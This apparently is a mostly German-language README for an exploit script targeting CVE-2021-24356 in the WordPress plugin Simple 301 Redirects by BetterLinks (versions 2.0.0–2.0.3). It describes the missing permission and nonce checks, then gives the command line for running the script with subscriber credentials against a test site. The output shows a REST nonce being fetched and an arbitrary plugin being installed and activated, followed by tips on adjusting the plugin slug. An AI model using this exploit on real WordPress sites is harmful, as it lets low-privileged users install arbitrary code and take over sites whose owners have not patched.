randomrobbiebf/cve-2021-24356Simple 301 Redirects von BetterLinks - 2.0.0 – 2.0.3 - Subscriber + Arbitrary Plugin Installation
Einfache 301-Weiterleitungen von BetterLinks - 2.0.0 – 2.0.3 - Subscriber + Beliebige Plugin-Installation
Ein Fehlen von Berechtigungsprüfungen und eine unzureichende Nonce-Überprüfung der AJAX-Aktion im Plugin ermöglichten es authentifizierten Benutzern, beliebige Plugins auf anfälligen Websites zu installieren.
$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}
Hinweis: Einige Plugins werden möglicherweise nicht aktiviert. Falls nicht, müssen Sie die Variable sluga auf den Pfad/datei.php ändern, die die Hauptdatei des Plugins ist. Derzeit funktioniert es sehr gut, wenn der Slug so etwas wie betterlinks ist und die Hauptdatei des Plugins betterlinks.php heißt.